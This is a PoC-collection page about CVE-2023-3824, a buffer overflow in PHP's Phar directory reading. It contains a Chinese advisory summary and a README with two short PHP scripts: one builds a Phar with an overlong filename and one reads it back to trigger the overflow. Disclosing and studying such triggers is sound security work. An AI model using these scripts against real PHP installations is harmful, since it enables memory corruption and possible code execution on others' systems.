关联漏洞
标题:
PHP 缓冲区错误漏洞
(CVE-2023-3824)
描述:PHP是一种在服务器端执行的脚本语言。 PHP存在安全漏洞,该漏洞源于函数phar_dir_read()存在缓冲区溢出漏洞,该漏洞会导致内存损坏或远程代码执行(RCE)。受影响的产品和版本:PHP 8.0.30之前的8.0版本,8.1.22之前的8.1版本,8.2.8之前的8.2版本。
描述
Vulnerability in PHP Phar files, due to buffer overflow, arises from insufficient length checks on file names within the Phar archive. Malicious actors can craft Phar files with long file names, leading to buffer overflow and potential execution of malicious code or data leakage. This vulnerability can be exploited for code execution CVE-2023-3824
介绍
# PHP Malicious Phar File PoC (CVE-2023-3824)
## Description
This Proof of Concept (PoC) demonstrates how to create a malicious Phar file in PHP and trigger a buffer overflow vulnerability.
## Usage
### Creating the Malicious Phar File
1. Create a new PHP file (e.g., `create_phar.php`) and add the following code:
```php
<?php
$phar = new Phar('malicious.phar');
$phar->startBuffering();
$phar->addFromString(str_repeat('A', PHP_MAXPATHLEN - 1).'B', 'This is the content of the file.');
$phar->stopBuffering();
?>
```
Execute the PHP script to create the malicious Phar file:
Copy code
```php
php create_phar.php
```
Triggering the Buffer Overflow
Create another PHP file (e.g., trigger_overflow.php) and add the following code:
```php
<?php
$handle = opendir("phar://./malicious.phar");
$x = readdir($handle);
closedir($handle);
var_dump($x);
?>
```
Execute the PHP script to trigger the buffer overflow:
Copy code
php trigger_overflow.php
The var_dump($x) statement will output the result of the buffer overflow and overread operation.
文件快照
[4.0K] /data/pocs/6d34f2635b4de7ce6d99292afeab489c66c77bc0
└── [1.0K] README.md
0 directories, 1 file
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。